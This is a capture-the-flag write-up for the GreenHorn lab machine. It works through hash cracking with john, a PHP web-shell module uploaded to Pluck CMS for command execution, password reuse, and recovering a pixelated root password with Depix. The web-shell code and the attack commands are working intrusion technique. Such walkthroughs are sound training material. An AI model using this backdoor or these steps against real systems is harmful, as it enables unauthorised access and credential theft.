Machine Card listing GreenHorn as an easy Linux box

Reconnaissance

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
|_http-generator: pluck 4.7.18
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=a369dd4c46df0c66; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=orpBKwMvOqd1cNRHXQEQ4_fni7o6MTcyMTUwMjYxMjU5NTk0MTM2OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 20 Jul 2024 19:10:12 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=8cf870229824eefc; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=zwQfgIWzHlV59NgVrcbOx1dQHn06MTcyMTUwMjYxNzg5NzA5MDQ5Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 20 Jul 2024 19:10:17 GMT
|_    Content-Length: 0

The nmap scan found three open ports, 22 for SSH and 80 and 3000 as HTTP with 3000 being Gitea based on the cookie i_like_gitea.
Port 80 redirects to greenhorn.htb and has two entries in /robots.txt. Before proceeding I add the domain to my /etc/hosts file.

HTTP - 80

The webpage on http://greenhorn.htb seems to be powered by Pluck CMS based on the footer. The HTML source reveals the version 4.7.18 and there is an authenticated remote code exectution.
Only two posts are available and they do not provide much information besides the fact that there may be a new junior member. After trying some default passwords on /login.php I move on to Gitea.

Screenshot showing a blog post powered by pluck

HTTP - 3000

Browsing to port 3000 shows a Gitea installation and the Explore functionality (/explore) is not deactivated, so I can check out if there are any public repositories and there is on from the organisation GreenAdmin called GreenHorn. It looks like they’ve pushed their source code for the Pluck CMS into their own repository.

Screenshot showing the GreenHorn repo with a single commit from junior

Since PluckCMS is open-source the code is available on Github I retrieve a copy from there and one from Gitea to compare. There’s quite a list of files that differ from each other but only a few that are only available in GreenHorn.

# Clone Pluck into pluck
git clone https://github.com/pluck-cms/pluck pluck
 
# Clone GreenHorn into greenhorn
git clone http://greenhorn.htb:3000/GreenAdmin/GreenHorn greenhorn
 
# Differences between the folders
diff --brief --recursive greenhorn pluck
--- SNIP ---
Only in greenhorn/data/settings: options.php
Only in greenhorn/data/settings: pages
Only in greenhorn/data/settings: pass.php
Only in greenhorn/data/settings: themepref.php
Only in greenhorn/data/settings: token.php
Only in greenhorn/data/settings: update_lastcheck.php
--- SNIP ---

The files pass.php and token.php sound especially interesting because they may contain credentials and that’s what I am after for the RCE on port 80. Both files contain a single variable with a 128 character long string, possibly a SHA512 hash.

/data/settings/pass.php
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
/data/settings/token.php
<?php $token = '65c1e5cf86b4d727962672211b91924b828a0c05ece3954c75e3befa6b361fa3eb28c407f7101bc4eae2c604c96c641575c7fe82dbdc6ce0cf7d4a006f53bac7'; ?>

Searching the code for occurences of $ww shows a hit in login.php. The pass.php is loaded with require_once and later compared against the sha512 hash of the password that was provided during the login.

/data/login.php
<?php
--- SNIP ---
 
//If pluck is installed:
else {
        require_once 'data/settings/pass.php';
 
        //Check if we're already logged in. First, get the token.
        require_once 'data/settings/token.php';
 
        if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
                header('Location: admin.php');
                exit;
        }
 
        //Include header-file.
        $titelkop = $lang['login']['title'];
        include_once 'data/inc/header2.php';
 
        //If password has been sent, and the bogus input is empty, MD5-encrypt password.
        if (isset($_POST['submit']) && empty($_POST['bogus'])) {
                $pass = hash('sha512', $cont1);
 
                --- SNIP ---
 
                //If password is correct, save session-cookie.
                if (($pass == $ww) && (!isset($login_error))) {
                        $_SESSION[$token] = 'pluck_loggedin';
 
                        //Delete loginattempt file, if it exists.
                        if (file_exists(LOGIN_ATTEMPT_FILE))
                                unlink(LOGIN_ATTEMPT_FILE);
 
                        //Display success message.
                        show_error($lang['login']['correct'], 3);
                        if (isset($_SESSION['pluck_before']))
                                redirect($_SESSION['pluck_before'], 1);
                        else
                                redirect('admin.php?action=start', 1);
                        include_once 'data/inc/footer.php';
                        exit;
                }
 
                //If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
                elseif (($pass != $ww) && (!isset($login_error))) {
                        $login_error = show_error($lang['login']['incorrect'], 1, true);
 
                        //If a loginattempt file already exists, update tries variable.
                        if (file_exists(LOGIN_ATTEMPT_FILE))
                                $tries++;
                        else
                                $tries = 1;
 
                        //Get current timestamp and save file.
                        save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
                }
        }
?>
--- SNIP ---

Pasting the hash from $ww into a file and running john with the rockyou wordlist reveals the password iloveyou1 after waiting for a few seconds.

john  --format=Raw-SHA512 --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1        (?)
--- SNIP ---

Execution

With a valid password I am able to login and can proceed with creating a malicious module to achieve code execution. Pluck itself provides a sample repository, but basically a plugin is just a (set) of files that are zipped together. I’ll just add a simple backdoor to ryuki.php, zip the file and upload it as new module.

cat ryuki.php
<?php
 
if(isset($_REQUEST['9e6e246c78abe1e6e94be598f6b6ab1a'])){
        $cmd = ($_REQUEST['9e6e246c78abe1e6e94be598f6b6ab1a']);
        system($cmd);
        die;
}
 
?>
 
zip ryuki.zip ryuki.php
adding: ryuki.php (deflated 43%)

Navigating to options manage modules Install a module.. I can upload my created module and will receive The module has been installed successfully. if everything worked out.

Screenshot showing the manage module view in Pluck

The module won’t show up in the overview because I did not provide the necessary information within a function called simple_info but browsing to http://greenhorn.htb/data/modules/ryuki/ryuki.php shows a blank page oposed to a 404 error. Adding my command as value to the parameter 9e6e246c78abe1e6e94be598f6b6ab1a confirms the RCE.

curl "http://greenhorn.htb/data/modules/ryuki/ryuki.php?9e6e246c78abe1e6e94be598f6b6ab1a=whoami"
www-data

Hint

The modules on the box are purged in a regular interval so quickly upgrading to a reverse shell is advised.

Within the shell as www-data I check for users in /etc/passwd having a login shell configured and there are three hits: root, git and junior.

Privilege Escalation

Apparently junior re-used the password for the blog, iloveyou1, on the host, letting me take over the account with su junior with access to the first flag.
The configuration option PasswordAuthentication no within /etc/ssh/sshd_config prevented the login via SSH, but that can be circumvented by using a SSH key. Creating a new key and adding the public key to /home/junior/.ssh/authorized_keys lets me login via SSH.

The account junior is not allowed to use sudo but there’s a PDF called Using OpenVAS.pdf within the home directory. I transfer that to my host via scp.

scp -i ~/.ssh/ctf junior@greenhorn.htb:'Using OpenVAS.pdf' .
Using OpenVAS.pdf

The PDF contains instructions on how to run OpenVAS and mentions that this is currently limited to the root account. It also provides a password, presumably for the same account. Unfortunately it’s pixelated to make it unreadable.

Instructions on how to run OpenVAS with the password pixelated

Using pixelation to redact sensitive data is not advisable and a simple black box should be used instead. There are multiple tools that try to recover readable text from a pixelated image, like unredacter or depix.

First of all I extract the pixelated password from the PDF with a simple drag and drop since its just an embedded image. Next I clone the repository for depix. It comes with multiple references in images/searchimages containing De Bruijn sequences with expected characters. They are used to calculate the likely matches.

git clone https://github.com/spipm/Depix && cd Depix
 
python3 depix.py \
        -p extracted.png \
        -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-21 21:08:11,655 - Loading pixelated image from ../image.SV57Q2.png
2024-07-21 21:08:11,680 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-21 21:08:12,801 - Finding color rectangles from pixelated space
2024-07-21 21:08:12,802 - Found 252 same color rectangles
2024-07-21 21:08:12,803 - 190 rectangles left after moot filter
2024-07-21 21:08:12,803 - Found 1 different rectangle sizes
2024-07-21 21:08:12,803 - Finding matches in search image
2024-07-21 21:08:12,803 - Scanning 190 blocks with size (5, 5)
2024-07-21 21:08:12,843 - Scanning in searchImage: 0/1674
2024-07-21 21:09:31,463 - Removing blocks with no matches
2024-07-21 21:09:31,464 - Splitting single matches and multiple matches
2024-07-21 21:09:31,471 - [16 straight matches | 174 multiple matches]
2024-07-21 21:09:31,471 - Trying geometrical matches on single-match squares
2024-07-21 21:09:31,953 - [29 straight matches | 161 multiple matches]
2024-07-21 21:09:31,953 - Trying another pass on geometrical matches
2024-07-21 21:09:32,382 - [41 straight matches | 149 multiple matches]
2024-07-21 21:09:32,382 - Writing single match results to output
2024-07-21 21:09:32,383 - Writing average results for multiple matches to output
2024-07-21 21:09:36,746 - Saving output image to: output.png

Running the script takes some time and eventually a file called output.png is created within the current working directory. It does contain the reconstructed text sidefromsidetheothersidesidefromsidetheotherside.

Screenshot showing the reconstructed text 'sidefromsidetheothersidesidefromsidetheotherside' with some disortion artefacts

Using the password I can escalate to root and read the second flag.

Hint

If drag & drop is not possible to extract the image, software can also be used. poppler-utils provides pdfimages that can be used to extract the image with pdfimages -all <input.pdf> <output_prefix>

Attack Path

flowchart TD

subgraph "Inital Access"
    A(Access to Gitea) -->|Source Code Review| B(Hashed Credentials)
    B -->|Bruteforce to recover credentials| C(Access to Pluck CMS)
end

subgraph "Execution"
    C -->|Upload Malicious Module| D(Shell as www-data)
end

subgraph "Privilege Escalation"
    D -->|Password Re-Use| E(Shell as junior)
    E -->|Recover pixelated password| F(Shell as root)
end